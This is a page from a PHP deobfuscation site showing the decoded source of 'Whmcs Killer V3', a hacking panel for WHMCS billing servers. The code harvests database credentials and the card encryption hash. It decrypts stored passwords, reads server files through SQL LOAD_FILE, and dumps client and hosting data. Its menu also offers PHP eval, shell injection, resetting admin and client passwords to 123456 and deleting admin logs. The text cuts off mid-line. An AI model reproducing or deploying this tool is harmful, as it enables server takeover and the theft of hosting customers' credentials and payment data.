Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

/* Decoded by unphp.net */ <?php ${"GLOBALS"}["outicdmnc"]="ii";${"GLOBALS"}["utbtewtqa..

Decoded Output download

/* Decoded by unphp.net */ 
 
<?php ${"GLOBALS"}["outicdmnc"]="ii";${"GLOBALS"}["utbtewtqar"]="bg";${"GLOBALS"}["wjmktrdr"]="tmp";${"GLOBALS"}["rgwyiylp"]="total_pages";${"GLOBALS"}["yqutalc"]="bg2";${"GLOBALS"}["cjbejrsknl"]="string";${"GLOBALS"}["akttpse"]="menu";${"GLOBALS"}["jqnmewjo"]="num";${"GLOBALS"}["mlwmhwdml"]="query0";${"GLOBALS"}["kxrlsu"]="col1";${"GLOBALS"}["wgdguktpms"]="charset";${"GLOBALS"}["bqfsvypmmd"]="sql";${"GLOBALS"}["nrjjlp"]="res";${"GLOBALS"}["nhatbrs"]="table";${"GLOBALS"}["ihymmcbnbwl"]="sql1";${"GLOBALS"}["vhngkqx"]="hash";function login(){echo"\n\n<center><div id='content' class='box'>\n\n<br>\n<center>\n\n<h3  class=\"tit\">\nDB configuration of WHMCS</h3><br>\n</center>\n\n<FORM action=\""  method=\"post\" >\n\n<input type="hidden" name="form_action" value=\"1\">\n<br>\n\n<table  >\n\n\n<tr class='bg'><td>Database Host </td><td><input type="text" size=\"60" name=\"db_host\" value="".$_COOKIE["db_host"]."\"></td></tr>\n\n<tr ><td>Database Username </td><td><input type="text" size=\"60" name="db_username\" value="".$_COOKIE["db_username"].""></td></tr>\n\n<tr class='bg'><td>Database Password</td><td><input type=\"text\" size=\"60" name=\"db_password\" value="".$_COOKIE["db_password"]."\"></td></tr>\n\n<tr><td>Database Name</td><td><input type=\"text\" size="60\" name=\"db_name" value="".$_COOKIE["db_name"].""></td></tr>\n\n<tr class='bg'><td>cc_encryption_hash</td><td><input type=\"text\" size=\"60\" name=\"cc_encryption_hash\" value="".$_COOKIE["cc_encryption_hash"]."\"></td></tr>\n\n\n\n</table\n<br>\n\n<INPUT class=\"input-submit"  type=\"submit\" value=\"Submit\" name=\"Submit\">\n</FORM>\n\n\n\n<h3  class=\"tit">Symlink to configuration.php of WHMCS</h3><br>\n\n\n<FORM action=\"\"  method="post\">\n<input type="hidden" name="form_action" value=\"2"><br>\n \n<table ><tr class='bg'><td><input type="text\" size=\"30\" name="file" value=\"\">\n<br>\n </td><td><INPUT class=\"input-submit"  type="submit\" value=\"Submit\" name="Submit\"></td></tr></table>\n\n</FORM>";if($_COOKIE["login"]=="1"){${"GLOBALS"}["kusnmlekjmc"]="key";${${"GLOBALS"}["kusnmlekjmc"]}=$_COOKIE["db_name"]."-".base64_encode(base64_encode($_COOKIE["db_host"])."|".base64_encode($_COOKIE["db_username"])."|".base64_encode($_COOKIE["db_password"])."|".base64_encode($_COOKIE["db_name"])."|".base64_encode($_COOKIE["cc_encryption_hash"])."|");echo"<p class='msg info'>Short info is <br><textarea cols=50 rows='4'>$key</textarea></p><br>";}echo"<h3  class=\"tit">Short info</h3><FORM action=""  method=\"post">\n\n<input type="hidden\" name=\"form_action\" value=\"3">\n<br>\n \n<table ><tr class='bg'><td><input type="text" size="60" name='key' ></td><td>\n</td><td><INPUT class=\"input-submit"  type="submit" value="Submit\" name="Submit\"></td></tr></table>\n\n</FORM></center></div>\n<br>\n";echo"</div> <!-- /cols -->\n\t<hr class="noscreen\" />\n\t<!-- Footer -->\n\t<div id=\"footer" class=\"box\">\n\t<p class="f-left">Coded by <a href="http://www.rab3oun.net\">RAB3OUN</a>, </p>\n\t\t<p class=\"f-right">Templates by Adminizio</p>\n\t</div> <!-- /footer -->\n</div> <!-- /main -->\n</body>\n</html>";}${"GLOBALS"}["dufayepwnbm"]="key";${"GLOBALS"}["xgolbbovnt"]="title";${"GLOBALS"}["fctpqixj"]="currentFile";${"GLOBALS"}["svbmfofevz"]="user";${"GLOBALS"}["tiozloyd"]="create";${"GLOBALS"}["pvpjnbync"]="hash_length";${"GLOBALS"}["gmjxdggu"]="tmp_iv";${"GLOBALS"}["vccjfiiqqv"]="page";${"GLOBALS"}["mpnqjbte"]="type";${"GLOBALS"}["ejbqmv"]="col";${"GLOBALS"}["qryruts"]="v0";${"GLOBALS"}["ftwyltfau"]="out";${"GLOBALS"}["ixziiviuycx"]="where";${"GLOBALS"}["jgpqagwgmo"]="c";${"GLOBALS"}["nptouqgsvo"]="start_from";${"GLOBALS"}["hdpvrycfg"]="line";${"GLOBALS"}["envupsjdgmq"]="query";${"GLOBALS"}["iumgwgvbg"]="i";${"GLOBALS"}["ksmqvpc"]="iv";${"GLOBALS"}["mkqirqkmpn"]="cc_encryption_hash";${"GLOBALS"}["ubqgcbfep"]="pass";${"GLOBALS"}["kzpczwgflxjo"]="total_records";${"GLOBALS"}["cmrxvpt"]="k";${"GLOBALS"}["plkahzbtei"]="x";${"GLOBALS"}["jshmnvixsqk"]="value";${"GLOBALS"}["kwxopsllwn"]="q";${"GLOBALS"}["jftdiqsydd"]="where2";function decrypt($string,$cc_encryption_hash){${"GLOBALS"}["azrnghphq"]="hash_length";$ukxyjnbk="out";${"GLOBALS"}["hxvubmrtggw"]="hash_key";${"GLOBALS"}["wfbcvqbdz"]="hash_length";$awmmrmgv="hash_length";$utrxhjzsd="key";${"GLOBALS"}["bmuflllx"]="key";$yipcclhv="hash_key";$xundcyigro="string";${$utrxhjzsd}=md5(md5(${${"GLOBALS"}["mkqirqkmpn"]})).md5(${${"GLOBALS"}["mkqirqkmpn"]});$bxnahgiznz="string";${$yipcclhv}=_hash(${${"GLOBALS"}["bmuflllx"]});${${"GLOBALS"}["wfbcvqbdz"]}=strlen(${${"GLOBALS"}["hxvubmrtggw"]});${$bxnahgiznz}=base64_decode(${$xundcyigro});${${"GLOBALS"}["gmjxdggu"]}=substr(${${"GLOBALS"}["cjbejrsknl"]},0,${$awmmrmgv});$kphpohprr="string";${${"GLOBALS"}["cjbejrsknl"]}=substr(${${"GLOBALS"}["cjbejrsknl"]},${${"GLOBALS"}["pvpjnbync"]},strlen(${${"GLOBALS"}["cjbejrsknl"]})-${${"GLOBALS"}["pvpjnbync"]});${${"GLOBALS"}["ksmqvpc"]}=${${"GLOBALS"}["ftwyltfau"]}="";${${"GLOBALS"}["jgpqagwgmo"]}=0;while(${${"GLOBALS"}["jgpqagwgmo"]}<${${"GLOBALS"}["azrnghphq"]}){$cquolpyvl="c";${"GLOBALS"}["ozjhgjqqfdxu"]="tmp_iv";$uxjeburyk="c";${"GLOBALS"}["kkvdqsypeyw"]="hash_key";${${"GLOBALS"}["ksmqvpc"]}.=chr(ord(${${"GLOBALS"}["ozjhgjqqfdxu"]}[${$uxjeburyk}])^ord(${${"GLOBALS"}["kkvdqsypeyw"]}[${$cquolpyvl}]));++${${"GLOBALS"}["jgpqagwgmo"]};}${${"GLOBALS"}["dufayepwnbm"]}=${${"GLOBALS"}["ksmqvpc"]};${${"GLOBALS"}["jgpqagwgmo"]}=0;while(${${"GLOBALS"}["jgpqagwgmo"]}<strlen(${$kphpohprr})){${"GLOBALS"}["ghteoeji"]="c";$pysacrlobd="c";$tkdntxwpo="out";if((${${"GLOBALS"}["jgpqagwgmo"]}!=0 AND${$pysacrlobd}%${${"GLOBALS"}["pvpjnbync"]}==0)){${"GLOBALS"}["ojehiqziodc"]="hash_length";${"GLOBALS"}["xttevlql"]="hash_length";${${"GLOBALS"}["dufayepwnbm"]}=_hash(${${"GLOBALS"}["dufayepwnbm"]}.substr(${${"GLOBALS"}["ftwyltfau"]},${${"GLOBALS"}["jgpqagwgmo"]}-${${"GLOBALS"}["ojehiqziodc"]},${${"GLOBALS"}["xttevlql"]}));}$mgxamryo="c";${$tkdntxwpo}.=chr(ord(${${"GLOBALS"}["dufayepwnbm"]}[${${"GLOBALS"}["jgpqagwgmo"]}%${${"GLOBALS"}["pvpjnbync"]}])^ord(${${"GLOBALS"}["cjbejrsknl"]}[${$mgxamryo}]));++${${"GLOBALS"}["ghteoeji"]};}return${$ukxyjnbk};}${"GLOBALS"}["ieqlmszh"]="db";${"GLOBALS"}["lrhfsm"]="head";function _hash($string){${"GLOBALS"}["ezwsipeeoin"]="out";$zlfwhtfd="hash";if(function_exists("sha1")){$kxnbjsod="hash";${$kxnbjsod}=sha1(${${"GLOBALS"}["cjbejrsknl"]});}else{${"GLOBALS"}["mcfohewgb"]="hash";$pemhrfgt="string";${${"GLOBALS"}["mcfohewgb"]}=md5(${$pemhrfgt});}${${"GLOBALS"}["ezwsipeeoin"]}="";${${"GLOBALS"}["jgpqagwgmo"]}=0;while(${${"GLOBALS"}["jgpqagwgmo"]}<strlen(${$zlfwhtfd})){$xxqtfk="hash";${"GLOBALS"}["xvokssnvqmrl"]="c";$hivlmvpy="out";${$hivlmvpy}.=chr(hexdec(${$xxqtfk}[${${"GLOBALS"}["jgpqagwgmo"]}].${${"GLOBALS"}["vhngkqx"]}[${${"GLOBALS"}["jgpqagwgmo"]}+1]));${${"GLOBALS"}["xvokssnvqmrl"]}+=2;}return${${"GLOBALS"}["ftwyltfau"]};}${"GLOBALS"}["tbjbrlvq"]="item";${"GLOBALS"}["qhvkuofdkk"]="columns";function randomt(){${"GLOBALS"}["ekivblkp"]="pass";$lnwljfyptb="chars";${$lnwljfyptb}="abcdefghijkmnopqrstuvwxyz023456789";srand((double)microtime()*1000000);${${"GLOBALS"}["iumgwgvbg"]}=0;${${"GLOBALS"}["ekivblkp"]}="";while(${${"GLOBALS"}["iumgwgvbg"]}<=7){${"GLOBALS"}["gtdwgjyy"]="num";$wtbxqwlfv="num";${"GLOBALS"}["jtugzzh"]="pass";$bjzkihvajir="chars";${"GLOBALS"}["ugsaghy"]="i";${$wtbxqwlfv}=rand()3;$xvfgdhgpiehm="tmp";${${"GLOBALS"}["wjmktrdr"]}=substr(${$bjzkihvajir},${${"GLOBALS"}["gtdwgjyy"]},1);${${"GLOBALS"}["ubqgcbfep"]}=${${"GLOBALS"}["jtugzzh"]}.${$xvfgdhgpiehm};${${"GLOBALS"}["ugsaghy"]}++;}return${${"GLOBALS"}["ubqgcbfep"]};}${"GLOBALS"}["bwjpbyzycqo"]="r";${"GLOBALS"}["wmumpttm"]="fp";function header2(){${"GLOBALS"}["nxwhnfv"]="currentFile";${"GLOBALS"}["cjyuunxguds"]="currentFile";global$currentFile;echo"\n<html><title>Whmcs Killer V3 (Coded by RAB3OUN)</title><head>";echo"\n\t<link rel=\"stylesheet\" media="screen,projection" type="text/css\" href=\"".${${"GLOBALS"}["fctpqixj"]}."?css=1" /> \n\t<link rel="stylesheet\" media="screen,projection" type=\"text/css" href=\"".${${"GLOBALS"}["fctpqixj"]}."?css=5\" /> \n\t<link rel="stylesheet" media=\"screen,projection\" type=\"text/css" href=\"".${${"GLOBALS"}["nxwhnfv"]}."?css=4" title=\"2col\" />\n\t<link rel="alternate stylesheet\" media=\"screen,projection\" type=\"text/css" href="".${${"GLOBALS"}["cjyuunxguds"]}."?css=3\" title="1col\" /> \n\t\n\t<link rel="stylesheet" media="screen,projection\" type=\"text/css" href="".${${"GLOBALS"}["fctpqixj"]}."?css=2" /> <!-- GRAPHIC THEME -->\n\t \n";echo"\n<style>\n#content {border:1px solid #afafaf; background:#fff;width:650;}\n</style>\n<meta http-equiv='Content-Type' content='text/html; charset=utf-8' />\n</head>\n<body >\n\t<center><img src='?img=0'></center>\n";}${"GLOBALS"}["pcpbwvmdq"]="v";${"GLOBALS"}["qwllnagb"]="str";${"GLOBALS"}["bftufbeb"]="qq";function header1(){global$currentFile;$tfrvknjxwby="query0";@${$tfrvknjxwby}=mysql_query("SELECT value FROM tblconfiguration where setting='Charset' or setting='charset'");${"GLOBALS"}["cptujylle"]="currentFile";$joiiwygqv="v0";@${${"GLOBALS"}["qryruts"]}=mysql_fetch_array(${${"GLOBALS"}["mlwmhwdml"]});$cblviygaj="currentFile";${"GLOBALS"}["ljsmfhotwoe"]="menu";${${"GLOBALS"}["wgdguktpms"]}=${${"GLOBALS"}["qryruts"]}["value"]?${$joiiwygqv}["value"]:"utf-8";echo"<?xml version=\"1.0"?><!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd\">\n<html xmlns="http://www.w3.org/1999/xhtml" xml:lang=\"en" lang="en">\n<head>\n\t<meta http-equiv="Content-Type" content="text/html; charset=".${${"GLOBALS"}["wgdguktpms"]}."" />\n\t<meta http-equiv=\"content-language\" content=\"en" />\n\t<meta name="robots" content=\"noindex,nofollow\" />\n\t\n\t<link rel=\"stylesheet" media=\"screen,projection" type="text/css\" href=\"".${${"GLOBALS"}["fctpqixj"]}."?css=1" /> <!-- RESET -->\n\t<link rel="stylesheet\" media="screen,projection\" type="text/css\" href=\"".${${"GLOBALS"}["fctpqixj"]}."?css=5" /> <!-- MAIN STYLE SHEET -->\n\t<link rel=\"stylesheet\" media="screen,projection\" type="text/css" href=\"".${${"GLOBALS"}["fctpqixj"]}."?css=4\" title=\"2col" /> <!-- DEFAULT: 2 COLUMNS -->\n\t<link rel="alternate stylesheet\" media="screen,projection" type=\"text/css" href=\"".${$cblviygaj}."?css=3\" title=\"1col\" /> <!-- ALTERNATE: 1 COLUMN -->\n\t\n\t<link rel="stylesheet" media=\"screen,projection\" type="text/css" href="".${${"GLOBALS"}["cptujylle"]}."?css=2" /> <!-- GRAPHIC THEME -->\n\t \n\t<title>Whmcs Killer  V3 (Coded by RAB3OUN)</title>\n</head>\n<body>\n<div id="main\">\n<?/**/?>\n\t<!-- Tray -->\n\t<div id="tray\" class=\"box">\n\t\t<p class="f-left box\">\n\t\t\n\t\t\t <strong>WHMCS KILLER V3 </strong>\n\t\t</p>\n\t\t<p class=\"f-right\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <strong><a href="?p=9" id="logout\">Log out</a></strong></p>\n\t</div> <!--  /tray -->\n\t<hr class="noscreen\" />\n\t<center><img src="?img=0"></center>\n\t<hr class="noscreen" />\n\t<!-- Columns -->\n\t<div id=\"cols" class="box\">\n\t\t<!-- Aside (Left Column) -->\n\t\t<div id="aside\" class="box">\n\t\t\t<div class=\"padding box">\n\t\t\t\n\t\t\t\t\n\t\t\t\n\t\t\t</div> <!-- /padding -->\n\t\t\t<ul class=\"box\">";${"GLOBALS"}["wpjnhtc"]="y";${${"GLOBALS"}["akttpse"]}=array("h"=>"Home","102"=>"Info","1"=>"H0st r00ts","2"=>"Domains Resellers","3"=>"Clients r00ts","4"=>"Clients Hosting Accounts","63"=>"Clients Tickets ","100"=>"Clients List ","105"=>"Clients Password","7"=>"FTP and SMTP password","8"=>"Tools","101"=>"Eval PHP","99" target="blank"=>"SQL","11"=>"BackUp","106"=>"DailyEmailBackup","108"=>"1nj3c7 Sh311","109"=>"Payment Gateways","111"=>"Addon Modules","107"=>"Index","112"=>"Custom Fields");if($_COOKIE["login"]<>"1")${${"GLOBALS"}["akttpse"]}=array("c1"=>"Db Config","c2"=>"Symlink to configuration.php of WHMCS","c3"=>"Short info");foreach(${${"GLOBALS"}["ljsmfhotwoe"]} as${${"GLOBALS"}["plkahzbtei"]}=>${${"GLOBALS"}["wpjnhtc"]}){$fzpsbskhvja="x";${"GLOBALS"}["ejaljfd"]="x";if($_GET["p"]==${$fzpsbskhvja}){echo("<li id='submenu-active'>\n<a href=\"?p=$x\"> $y</a>");}else{echo("<li ><a href=\"?p=$x" > $y</a>");}if((${${"GLOBALS"}["ejaljfd"]}==8)){echo"<ul>";echo"<li><a href=\"?p=8&page=1" > Upload</a></li>\n <li><a href=\"?p=8&page=2" >Delete Adminlog </a></li>\n<li><a href=\"?p=8&page=3" >Change Admin Password to 123456</a></li>\n<li><a href="?p=8&page=4\" >Change Client Password to 123456</a></li>\n<li><a href="?p=8&page=5\" >Change Client Mail </a></li>\n<li><a href="?p=8&page=6" >Decrypt Password</a></li>";echo"</ul>";echo"</li>";}else{echo"</li>";}}echo "\t\t\t</ul>\n\t\t\n\t\t\t\n\t\t</div> <!-- /aside -->\n\t\t<hr class="noscreen\" />\n\t\t<!-- Content (Right Column) -->\n\t\t<div id=\"content\" class="box\">\n\t\t\n";}function actionSql(){$_POST["p2"]=stripslashes($_POST["p2"]);${"GLOBALS"}["dsvjvi"]="tmp";echo"<script>\n    var c_ = '".htmlspecialchars($GLOBALS["cwd"])."';\n    var a_ = '".htmlspecialchars(@$_POST["a"])."'\n    var charset_ = '".htmlspecialchars(@$_POST["charset"])."';\n    var p1_ = '".((strpos(@$_POST["p1"],"\n")!==false)?"":htmlspecialchars($_POST["p1"],ENT_QUOTES))."';\n    var p2_ = '".((strpos(@$_POST["p2"],"\n")!==false)?"":htmlspecialchars($_POST["p2"],ENT_QUOTES))."';\n    var p3_ = '".((strpos(@$_POST["p3"],"\n")!==false)?"":htmlspecialchars($_POST["p3"],ENT_QUOTES))."';\n    var d = document;\n\tfunction set(a,c,p1,p2,p3,charset) {\n\t\tif(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;\n\t\tif(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;\n\t\tif(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;\n\t\tif(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;\n\t\tif(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;\n\t\tif(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;\n\t}\n\tfunction g(a,c,p1,p2,p3,charset) {\n\t\tset(a,c,p1,p2,p3,charset);\n\t\td.mf.submit();\n\t}\n\tfunction a(a,c,p1,p2,p3,charset) {\n\t\tset(a,c,p1,p2,p3,charset);\n\t\tvar params = 'ajax=true';\n\t\tfor(i=0;i<d.mf.elements.length;i++)\n\t\t\tparams += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);\n\t\tsr('".addslashes($_SERVER["REQUEST_URI"])."', params);\n\t}\n\tfunction sr(url, params) {\t\n\t\tif (window.XMLHttpRequest)\n\t\t\treq = new XMLHttpRequest();\n\t\telse if (window.ActiveXObject)\n\t\t\treq = new ActiveXObject('Microsoft.XMLHTTP');\n        if (req) {\n            req.onreadystatechange = processReqChange;\n            req.open('POST', url, true);\n            req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');\n            req.send(params);\n        }\n\t}\n\tfunction processReqChange() {\n\t\tif( (req.readyState == 4) )\n\t\t\tif(req.status == 200) {\n\t\t\t\tvar reg = new RegExp("(\\\d+)([\\\S\\\\s]*)", 'm');\n\t\t\t\tvar arr=reg.exec(req.responseText);\n\t\t\t\teval(arr[2].substr(0, arr[1]));\n\t\t\t} else alert('Request error!');\n\t}\n</script>\n<html>\n<title>Whmcs Killer V3 (Coded by RAB3OUN)</title>\n<head>\n\n<style>\n\n\nbody\n\n{\n\n\tbackground: #0f0e0d;\n\n\tcolor: #FF9933;\n\n\n\tpadding: 0px;\n\n\n}\n\n\na:link, body_alink\n\n\n{\n\n\t\ncolor: #FF9933;\n\n\t\ntext-decoration: none;\n\n}\n\n\na:visited, body_avisited\n\n{\n\n\tcolor: #FF9933;\n\n\ttext-decoration: none;\n\n}\n\n\na:hover, a:active, body_ahover\n\n{\n\n\t\ncolor: #FFFFFF;\n\n\t\ntext-decoration: none;\n\n\n}\nth:hover\n\n{\n\n\t\nbackground: #524f46;\n\n\t\ntext-decoration: none;\n\n\n}\n\ntd, th, p, li,table\n\n{\n\n\t\n\tbackground: #2e2b28;\n\n\tborder:1px solid #524f46;\n\n}\n\n\ninput\n\n{\n\n\tborder: 1px solid;\n\n\n\tcursor: default;\n\n\t\n\toverflow: hidden;\n\n\tbackground: #2e2b28;\n\n\tcolor: #ffffff;\n\n}\n\n</style>\n\n<head><body><div style='position:absolute;width:100%;top:0;left:0;'>\n<form method=post name=mf style='display:none;'>\n<input type=hidden name=a>\n<input type=hidden name=c>\n<input type=hidden name=p1>\n<input type=hidden name=p2>\n<input type=hidden name=p3>\n<input type=hidden name=charset>\n</form>";class DbClass{var$type;var$link;var$res;function DbClass($type){$this->type=${${"GLOBALS"}["mpnqjbte"]};}function connect($host,$user,$pass,$dbname){$hbktdhivbc="pass";switch($this->type){case"mysql":if($this->link=@mysql_connect($host,${${"GLOBALS"}["svbmfofevz"]},${$hbktdhivbc},true))return true;break;case"pgsql":$host=explode(":",$host);if(!$host[1])$host[1]=5432;if($this->link=@pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname"))return true;break;}return false;}function selectdb($db){$ltodnusf="db";switch($this->type){case"mysql":if(@mysql_select_db(${$ltodnusf}))return true;break;}return false;}function query($str){$pnyxxhktsm="str";switch($this->type){case"mysql":return$this->res=@mysql_query(${$pnyxxhktsm});break;case"pgsql":return$this->res=@pg_query($this->link,${${"GLOBALS"}["qwllnagb"]});break;}return false;}function fetch(){$zvrpgkmudooc="res";${$zvrpgkmudooc}=func_num_args()?func_get_arg(0):$this->res;switch($this->type){case"mysql":return@mysql_fetch_assoc(${${"GLOBALS"}["nrjjlp"]});break;case"pgsql":return@pg_fetch_assoc(${${"GLOBALS"}["nrjjlp"]});break;}return false;}function listDbs(){switch($this->type){case"mysql":return$this->query("SHOW databases");break;case"pgsql":return$this->res=$this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");break;}return false;}function listTables(){switch($this->type){case"mysql":return$this->res=$this->query("SHOW TABLES");break;case"pgsql":return$this->res=$this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");break;}return false;}function error(){switch($this->type){case"mysql":return@mysql_error();break;case"pgsql":return@pg_last_error();break;}return false;}function setCharset($str){switch($this->type){case"mysql":if(function_exists("mysql_set_charset"))return@mysql_set_charset(${${"GLOBALS"}["qwllnagb"]},$this->link);else$this->query("SET CHARSET ".${${"GLOBALS"}["qwllnagb"]});break;case"pgsql":return@pg_set_client_encoding($this->link,${${"GLOBALS"}["qwllnagb"]});break;}return false;}function loadFile($str){$jjybemq="i";${"GLOBALS"}["vrqgqdnkmv"]="r";$anoumrpxr="r";$qucvxuib="str";switch($this->type){case"mysql":return$this->fetch($this->query("SELECT LOAD_FILE('".addslashes(${$qucvxuib})."') as file"));break;case"pgsql":$this->query("CREATE TABLE BOFF2(file text);COPY BOFF2 FROM '".addslashes(${${"GLOBALS"}["qwllnagb"]})."';select file from BOFF2;");${${"GLOBALS"}["vrqgqdnkmv"]}=array();while(${$jjybemq}=$this->fetch())${$anoumrpxr}[]=${${"GLOBALS"}["iumgwgvbg"]}["file"];$this->query("drop table BOFF2");return array("file"=>implode("\n",${${"GLOBALS"}["bwjpbyzycqo"]}));break;}return false;}function dump($table,$fp=false){$pmyqmjlvst="item";${"GLOBALS"}["xisjyp"]="fp";$ivdjhshzv="create";${"GLOBALS"}["qxchrzuhwy"]="sql";$etgwfsagtlic="table";$dpltijsq="sql";$jeboxsmpuf="res";$pinmdaia="fp";${"GLOBALS"}["ggepebohlc"]="item";$sbnvgsacrhf="fp";switch($this->type){case"mysql":${${"GLOBALS"}["nrjjlp"]}=$this->query("SHOW CREATE TABLE `".${${"GLOBALS"}["nhatbrs"]}."`");${$ivdjhshzv}=mysql_fetch_array(${$jeboxsmpuf});${${"GLOBALS"}["qxchrzuhwy"]}=${${"GLOBALS"}["tiozloyd"]}[1].";\n";if(${$pinmdaia})fwrite(${${"GLOBALS"}["xisjyp"]},${$dpltijsq});else echo(${${"GLOBALS"}["bqfsvypmmd"]});$this->query("SELECT * FROM `".${$etgwfsagtlic}."`");${${"GLOBALS"}["lrhfsm"]}=true;while(${${"GLOBALS"}["ggepebohlc"]}=$this->fetch()){${"GLOBALS"}["hdnnufitdxnn"]="head";$drslzpmsbpf="sql";${"GLOBALS"}["bpeexhxhwqsp"]="columns";${"GLOBALS"}["gbqaypxvwi"]="k";${"GLOBALS"}["wtmttsudjy"]="v";${"GLOBALS"}["ouxevsinrea"]="sql";${${"GLOBALS"}["bpeexhxhwqsp"]}=array();$njhroqjt="item";foreach(${${"GLOBALS"}["tbjbrlvq"]} as${${"GLOBALS"}["gbqaypxvwi"]}=>${${"GLOBALS"}["wtmttsudjy"]}){$lcsrvd="k";${"GLOBALS"}["bhficwk"]="k";$vqshfvh="v";${"GLOBALS"}["tumekvi"]="v";${"GLOBALS"}["shkkxtjvpm"]="k";${"GLOBALS"}["lwbbtph"]="v";${"GLOBALS"}["lhtnncbnju"]="v";$bejvyfxqv="item";if(${${"GLOBALS"}["lwbbtph"]}==null)${${"GLOBALS"}["tbjbrlvq"]}[${$lcsrvd}]="NULL";elseif(is_numeric(${${"GLOBALS"}["tumekvi"]}))${$bejvyfxqv}[${${"GLOBALS"}["bhficwk"]}]=${$vqshfvh};else${${"GLOBALS"}["tbjbrlvq"]}[${${"GLOBALS"}["shkkxtjvpm"]}]="'".@mysql_real_escape_string(${${"GLOBALS"}["lhtnncbnju"]})."'";${${"GLOBALS"}["qhvkuofdkk"]}[]="`".${${"GLOBALS"}["cmrxvpt"]}."`";}if(${${"GLOBALS"}["hdnnufitdxnn"]}){$lfemjojv="sql";$gcpzdxgeefyi="table";$tfnybicxvhvk="head";${$lfemjojv}="INSERT INTO `".${$gcpzdxgeefyi}."` (".implode(", ",${${"GLOBALS"}["qhvkuofdkk"]}).") VALUES \n\t(".implode(", ",${${"GLOBALS"}["tbjbrlvq"]}).")";${$tfnybicxvhvk}=false;}else${${"GLOBALS"}["bqfsvypmmd"]}="\n\t,(".implode(", ",${$njhroqjt}).")";if(${${"GLOBALS"}["wmumpttm"]})fwrite(${${"GLOBALS"}["wmumpttm"]},${$drslzpmsbpf});else echo(${${"GLOBALS"}["ouxevsinrea"]});}if(!${${"GLOBALS"}["lrhfsm"]})if(${${"GLOBALS"}["wmumpttm"]})fwrite(${$sbnvgsacrhf},";\n\n");else echo(";\n\n");break;case"pgsql":$this->query("SELECT * FROM ".${${"GLOBALS"}["nhatbrs"]});while(${$pmyqmjlvst}=$this->fetch()){${"GLOBALS"}["xwtkrteeq"]="columns";${${"GLOBALS"}["xwtkrteeq"]}=array();${"GLOBALS"}["ijecfsmnl"]="item";$mxlevuw="sql";${"GLOBALS"}["lhqhwppixrk"]="table";$vqycrvflg="fp";$mciooiscb="sql";foreach(${${"GLOBALS"}["tbjbrlvq"]} as${${"GLOBALS"}["cmrxvpt"]}=>${${"GLOBALS"}["pcpbwvmdq"]}){$rivcarkqxc="k";${${"GLOBALS"}["tbjbrlvq"]}[${${"GLOBALS"}["cmrxvpt"]}]="'".addslashes(${${"GLOBALS"}["pcpbwvmdq"]})."'";${${"GLOBALS"}["qhvkuofdkk"]}[]=${$rivcarkqxc};}${$mxlevuw}="INSERT INTO ".${${"GLOBALS"}["lhqhwppixrk"]}." (".implode(", ",${${"GLOBALS"}["qhvkuofdkk"]}).") VALUES (".implode(", ",${${"GLOBALS"}["ijecfsmnl"]}).");"."\n";if(${$vqycrvflg})fwrite(${${"GLOBALS"}["wmumpttm"]},${$mciooiscb});else echo(${${"GLOBALS"}["bqfsvypmmd"]});}break;}return false;}}$cowquioia="tmp";${${"GLOBALS"}["ieqlmszh"]}=new DbClass($_POST["type"]);${"GLOBALS"}["fnpzhrdxijn"]="db";if(@$_POST["p2"]=="download"){$db->connect($_POST["sql_host"],$_POST["sql_login"],$_POST["sql_pass"],$_POST["sql_base"]);${"GLOBALS"}["mjlpxlpdxdu"]="fp";$db->selectdb($_POST["sql_base"]);switch($_POST["charset"]){case"Windows-1251":$db->setCharset("cp1251");break;case"UTF-8":$db->setCharset("utf8");break;case"KOI8-R":$db->setCharset("koi8r");break;case"KOI8-U":$db->setCharset("koi8u");break;case"cp866":$db->setCharset("cp866");break;}if(empty($_POST["file"])){ob_start("ob_gzhandler",4096);header("Content-Disposition: attachment; filename=dump.sql");header("Content-Type: text/plain");$ayfhqupxgx="v";foreach($_POST["tbl"]as${$ayfhqupxgx})$db->dump(${${"GLOBALS"}["pcpbwvmdq"]});exit;}elseif(${${"GLOBALS"}["mjlpxlpdxdu"]}=@fopen($_POST["file"],"w")){${"GLOBALS"}["ogssgnhvxuq"]="v";${"GLOBALS"}["pjrgqwxx"]="fp";${"GLOBALS"}["bxrdvz"]="fp";foreach($_POST["tbl"]as${${"GLOBALS"}["pcpbwvmdq"]})$db->dump(${${"GLOBALS"}["ogssgnhvxuq"]},${${"GLOBALS"}["bxrdvz"]});fclose(${${"GLOBALS"}["pjrgqwxx"]});unset($_POST["p2"]);}else die("<script>alert("Error! Can't open file\");window.history.back(-1)</script>");}echo"\n<center><h1>Sql browser</h1></center><div class=content>\n<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr valign='top'>\n<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr valign='top'>\n<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='".htmlspecialchars($GLOBALS["cwd"])."'><input type=hidden name=charset value='".(isset($_POST["charset"])?$_POST["charset"]:"")."'>\n<td><select name='type'><option value='mysql' ";if(@$_POST["type"]=="mysql")echo"selected";echo">MySql</option><option value='pgsql' ";if(@$_POST["type"]=="pgsql")echo"selected";echo">PostgreSql</option></select></td>\n<td><input type=text name=sql_host value='".(empty($_POST["sql_host"])?$_COOKIE["db_host"]:htmlspecialchars($_POST["sql_host"]))."'></td>\n<td><input type=text name=sql_login value='".(empty($_POST["sql_login"])?$_COOKIE["db_username"]:htmlspecialchars($_POST["sql_login"]))."'></td>\n<td><input type=text name=sql_pass 